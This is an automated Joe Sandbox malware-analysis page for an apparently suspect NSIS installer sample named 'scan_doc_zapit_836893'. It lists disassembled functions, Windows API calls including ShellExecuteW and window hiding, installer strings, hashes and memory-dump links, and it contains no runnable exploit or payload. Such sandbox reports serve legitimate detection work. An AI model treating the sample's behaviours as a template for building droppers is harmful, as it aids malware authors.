Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSendlstrlen$lstrcat$CompareFileTextTimeWindowlstrcpynwvsprintf
String ID: 141$File: error creating "%s"$File: error, user abort$File: error, user cancel$File: error, user retry$File: overwriteflag=%d, allowskipfilesflag=%d, name="%s"$File: skipped: "%s" (overwriteflag=%d)$File: wrote %d to "%s"
API String ID: 4286501637-2125343181
Opcode ID: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction ID: fe683e2e252f9e2189d7cf48164ff2fe6631720e8c40e43e96375682ff159270
Opcode Fuzzy Hash: b6a2df31382c61c88927ef82d5f6ae0aba2303a4f2552ab8741c3bf9876e390d
Instruction Fuzzy Hash: 9D510871901114BADF10BBB1CD46EAE3A68DF05369F21413FF416B10D2EB7C5A518AAE

Function 00403587 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403598
GetModuleFileNameW.KERNEL32(00000000,004DF0D8,00002004,?,?,?,00000000,00403A47,?), ref: 004035B4

Part of subcall function 00405E50: GetFileAttributesW.KERNELBASE(00000003,004035C7,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00405E54
Part of subcall function 00405E50: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,?,00000000,00403A47,?), ref: 00405E76

GetFileSize.KERNEL32(00000000,00000000,004E30E0,00000000,004CF0B8,004CF0B8,004DF0D8,004DF0D8,80000000,00000003,?,?,?,00000000,00403A47,?), ref: 00403600

Strings

soft, xrefs: 00403675
Inst, xrefs: 0040366C
Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 004037C5
Error launching installer, xrefs: 004035D7
Null, xrefs: 0040367E

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-527102705
Opcode ID: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction ID: 97831ba7e8e922ff386f77eab0e0d18630bd2de4bbb47cca7d976ce2c46b30f6
Opcode Fuzzy Hash: 120a85709c4a4315a44e2654504c88cd7b3d990096a9d7006e83d60a3a2719f2
Instruction Fuzzy Hash: 3151D5B1900204AFDB219F65CD85B9E7EB8AB14756F10803FE605B72D1D77D9E808B9C

Function 0040337F Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 166
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 004033E7
GetTickCount.KERNEL32 ref: 00403464
MulDiv.KERNEL32(7FFFFFFF,00000064,?), ref: 00403491
wsprintfW.USER32 ref: 004034A4
WriteFile.KERNELBASE(00000000,00000000,?,7FFFFFFF,00000000), ref: 004034D3
WriteFile.KERNEL32(00000000,0041F150,?,00000000,00000000,0041F150,?,000000FF,00000004,00000000,00000000,00000000), ref: 0040356A

Strings

X1C, xrefs: 004033ED
... %d%%, xrefs: 0040349E
P1B, xrefs: 004033A9
X1C, xrefs: 0040343C

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CountFileTickWrite$wsprintf
String ID: ... %d%%$P1B$X1C$X1C
API String ID: 651206458-1535804072
Opcode ID: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction ID: 0313947f0097750978ec936bbe46de4fad37e772bc1cb17ec77dd8e30cfa9ece
Opcode Fuzzy Hash: 44661cc85d05d2ece2df72a1dadfaff530150b4f00ec14a98415859341c8c9fb
Instruction Fuzzy Hash: 88518D71900219ABDF10DF65AE44AAF7BACAB00316F14417BF900B7290DB78DF40CBA9

Function 00404F72 Relevance: 10.6, APIs: 7, Instructions: 73
stringwindowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

Part of subcall function 00406805: GetVersion.KERNEL32(0043B228,?,00000000,00404FA9,0043B228,00000000,?,00000000,00000000), ref: 004068D6

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSend$lstrlen$TextVersionWindowlstrcat
String ID:
API String ID: 2740478559-0
Opcode ID: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction ID: 1d640e6b4f0869ec625b39ce8112f9bd6789598538fb42bade37fe3884716a8e
Opcode Fuzzy Hash: 7bcaf298b14bfcb271399e4538be81cf37b8538d1c197863d88476df1de4366a
Instruction Fuzzy Hash: 3C21B0B1900518BACF119FA5DD84E9EBFB5EF84310F10813AFA04BA291D7798E509F98

Function 00401EB9 Relevance: 7.6, APIs: 2, Strings: 3, Instructions: 78
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

GlobalFree.KERNEL32(0073AFD0), ref: 00402387

Strings

Exch: stack < %d elements, xrefs: 00401ED8
Pop: stack empty, xrefs: 00401F2C
141, xrefs: 00401EFB, 00401F00, 00401F1A

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: FreeGloballstrcpyn
String ID: 141$Exch: stack < %d elements$Pop: stack empty
API String ID: 1459762280-3970372979
Opcode ID: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction ID: ae7cb1f2c63b60d7baa415153617f8c61fd22799b34192a347ea6a0a5f6d971a
Opcode Fuzzy Hash: 1ca185eeaafbead47595a1cc0f367f8cfd746e673960b0814e4cdcb04772ee17
Instruction Fuzzy Hash: 4721D172601105EBE710EB95DD81A6F77A8EF44318B21003FF542F32D1EB7998118AAD

Function 00402713 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 42
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00406009: lstrcpynW.KERNEL32(?,?,00002004,004038F1,0046ADC0,NSIS Error), ref: 00406016

WritePrivateProfileStringW.KERNEL32(?,?,?,00000000), ref: 0040278C

Strings

<RM>, xrefs: 00402713
WriteINIStr: wrote [%s] %s=%s in %s, xrefs: 00402775
141, xrefs: 00402770

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: PrivateProfileStringWritelstrcpyn
String ID: 141$<RM>$WriteINIStr: wrote [%s] %s=%s in %s
API String ID: 247603264-2626180455
Opcode ID: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction ID: 1675f45263e21dacb3bd3d3c28f4c469aa899418fcec56767b4290250f933745
Opcode Fuzzy Hash: ebd727ba1388524afa6f7b5c72e47581e9b4ec966d204d2154218169f3a3a122
Instruction Fuzzy Hash: 05014F70D40319BADB10BFA18D859AF7A78AF09304F10403FF11A761E3D7B80A408BAD

Function 004021B5 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 54
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00404F72: lstrlenW.KERNEL32(0043B228,?,00000000,00000000), ref: 00404FAA
Part of subcall function 00404F72: lstrlenW.KERNEL32(004034BB,0043B228,?,00000000,00000000), ref: 00404FBA
Part of subcall function 00404F72: lstrcatW.KERNEL32(0043B228,004034BB,004034BB,0043B228,?,00000000,00000000), ref: 00404FCD
Part of subcall function 00404F72: SetWindowTextW.USER32(0043B228,0043B228), ref: 00404FDF
Part of subcall function 00404F72: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405005
Part of subcall function 00404F72: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 0040501F
Part of subcall function 00404F72: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040502D

ShellExecuteW.SHELL32(?,00000000,00000000,00000000,004CB0B0,?), ref: 00402202

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

Strings

ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d, xrefs: 00402211
ExecShell: success ("%s": file:"%s" params:"%s"), xrefs: 00402226

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: MessageSendlstrlen$ExecuteShellTextWindowlstrcatwvsprintf
String ID: ExecShell: success ("%s": file:"%s" params:"%s")$ExecShell: warning: error ("%s": file:"%s" params:"%s")=%d
API String ID: 3156913733-2180253247
Opcode ID: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction ID: bbc106df3db47d5a89d2587a4e22f40687ed87c50c6518a2742e337a88eb4af1
Opcode Fuzzy Hash: 0e9dd1e26526b91e1c41cfd2ad6e78dbbf82426293fff8cc21759efb88a5ec27
Instruction Fuzzy Hash: E001F7B2B4021476DB2077B69C87F6B2A5CDB41764B20047BF502F20E3E5BD88009139

Function 00405E7F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405E9D
GetTempFileNameW.KERNELBASE(?,?,00000000,?,?,?,00000000,004037FE,004D30C0,004D70C8), ref: 00405EB8

Strings

nsa, xrefs: 00405E8C

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: nsa
API String ID: 1716503409-2209301699
Opcode ID: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction ID: bbb7b3741c82bae03d84fc31e008e00914f4f4b6280f54d22115683b6c602e07
Opcode Fuzzy Hash: 74c86182fa67e47248f5fe200c9c22c18b8020e4291a34397a9b0f642818afda
Instruction Fuzzy Hash: 39F0F635600604BBDB00CF55DD05A9FBBBDEF90310F00803BE944E7140E6B09E00C798

Function 00402175 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShowWindow.USER32(00000000,00000000), ref: 0040219F

Part of subcall function 004062A3: lstrlenW.KERNEL32(Sleep(4921),00406E79,RMDir: RemoveDirectory("%s"),?,?,?), ref: 004062B0
Part of subcall function 004062A3: wvsprintfW.USER32(00000000,?,?), ref: 004062C7

EnableWindow.USER32(00000000,00000000), ref: 004021AA

Strings

HideWindow, xrefs: 0040218D

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Window$EnableShowlstrlenwvsprintf
String ID: HideWindow
API String ID: 1249568736-780306582
Opcode ID: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction ID: bfe0de145d0e58e27592ef60cc9cda220d4f3e6bacb950e19a0f62fa040dbd34
Opcode Fuzzy Hash: 0616bcda597e9750e62a76ee812eb00f220ec1a404151e7fe1b3dec3a2ed7f78
Instruction Fuzzy Hash: F1E09232A05111DBCB08FBB5A74A5AE76B4EA9532A721007FE143F20D0DABD8D01C62D

Function 004078C5 Relevance: 5.2, APIs: 4, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction ID: 5b61ba0e549d4a34e11b5feda41afe9ae6537485a044c30e59ebd23bda5797f4
Opcode Fuzzy Hash: 34a0988d6b53cb3e5c5cab68a25a042cd6e02f2342b0fd139447399893daab40
Instruction Fuzzy Hash: BCA14771908248DBEF18CF28C8946AD3BB1FB44359F14812AFC56AB280D738E985DF85

Function 00407AC3 Relevance: 5.2, APIs: 4, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction ID: 0868455ade8710e2db62ea7c97591ecaf8a07f5330254cde648c5a00cf1b77b0
Opcode Fuzzy Hash: 5706958415abe038d8bc904968b39eb1c0ab21271a5e62a9b552e9204fe8a243
Instruction Fuzzy Hash: 30912871908248DBEF14CF18C8947A93BB1FF44359F14812AFC5AAB291D738E985DF89

Function 00407312 Relevance: 5.2, APIs: 4, Instructions: 201COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction ID: 3981f1dd08afc316d24d9ed5113be2a17ca7da729ed8f25fba603efd3ef4d826
Opcode Fuzzy Hash: 11cd2314bdb72fbaaf254cc8ab9d4ea11bc1da16cf3644787fbca669908488dc
Instruction Fuzzy Hash: 39815931908248DBEF14CF29C8446AE3BB1FF44355F10812AFC66AB291D778E985DF86

Function 00407752 Relevance: 5.2, APIs: 4, Instructions: 179COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction ID: 01891581271c5a124b16634c3a8992e7a6857e255b4271240234ec945a90a24d
Opcode Fuzzy Hash: f6fc324ba2a3154e694309e6bae2168c7942ffc843c4c16a3e425845c98615c2
Instruction Fuzzy Hash: 73713571908248DBEF18CF28C894AAD3BF1FB44355F14812AFC56AB291D738E985DF85

Function 00407854 Relevance: 5.2, APIs: 4, Instructions: 169COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction ID: 94e3b44a92ae0aa4503ed5f8848dd13d39bc4d5c5e61625994f203468061122b
Opcode Fuzzy Hash: 50afaaeaa81713190e6368922b68e72c74c0f8af07b8473edddf34e42917c2b6
Instruction Fuzzy Hash: 25713671908248DBEF18CF19C894BA93BF1FB44345F10812AFC56AA291C738E985DF86

Function 004077B2 Relevance: 5.2, APIs: 4, Instructions: 166COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction ID: 61f7b93237898aea062553d5d4b8719da8ac7eccb5076a10c91df3859b53dd49
Opcode Fuzzy Hash: c1e8f36220be8f98feef1199d10cba6751babd433578914259dc57061f930aad
Instruction Fuzzy Hash: 98612771908248DBEF18CF19C894BAD3BF1FB44345F14812AFC56AA291C738E985DF86

Function 00407C5F Relevance: 5.2, APIs: 4, Instructions: 156memoryCOMMON

Download Yara Rule

APIs

GlobalFree.KERNELBASE(?), ref: 004073C5
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 004073CE
GlobalFree.KERNELBASE(?), ref: 0040743D
GlobalAlloc.KERNELBASE(00000040,?,00000000,0041F150,00004000), ref: 00407448

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_scan_doc_zapit_836893.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction ID: da36524f31269fd1e9de8fc6705d7123eeae9c681c0d19372ba3dadca10d6d3f
Opcode Fuzzy Hash: b4e0c1391c46ae50f73649b3c762cd7b27ce57b462bacfc2a9e8da119b19f928
Instruction Fuzzy Hash: 81513871918248EBEF18CF19C894AAD3BF1FF44345F10812AFC56AA291C738E985DF85

Function 0040139D Relevance: 3.0, APIs: 2, Instructions: 42windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000), ref: 004013F6
SendMessageW.USER32(00000402,00000402,00000000), ref: 00401406

Memory Dump Source

Source File: 00000000.00000002.2162625362.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2162599547.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162648055.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000040B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.000000000041F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162675823.0000000000461000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2162761940.00000000004F4000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

